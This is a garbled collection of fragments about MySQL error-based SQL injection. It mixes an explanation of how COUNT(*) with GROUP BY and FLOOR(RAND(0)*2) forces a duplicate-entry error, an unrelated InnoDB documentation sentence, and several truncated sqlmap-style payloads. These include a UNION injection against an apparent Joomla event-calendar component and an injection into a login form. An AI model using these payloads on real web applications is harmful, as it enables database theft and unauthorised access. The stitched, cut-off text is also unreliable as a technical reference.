The COUNT(*) and GROUP BY parts are necessary to provoke the error in MySQL: > SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x; ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'.
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
...Cinema+AND+(SELECT+6935+FROM(SELECT+COUNT(*),CONCAT(0x717a626b71,(SELECT+(ELT(6935=6935,1))),0x716a7a6a71,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a).
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InnoDB processes SELECT COUNT(*) statements by traversing the smallest available secondary index unless an index or optimizer hint directs the optimizer to use a different index.
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...AND (SELECT 2284 FROM(SELECT COUNT(*),CONCAT(0x7170767871,(SELECT (ELT(2284=2284,1))),0x716a716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (6763=6763.
Type: UNION query # Title: Generic UNION query (NULL) - 7 columns # Payload: option=com_cpeventcalendar&task=load&id=1 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a707671...
information_schema.tables group by x)a) AND (1338=1338.
information_schema.tables GROUP BY x)a) AND 'CSnZ'='CSnZ&senha=UCyy&logar=logar.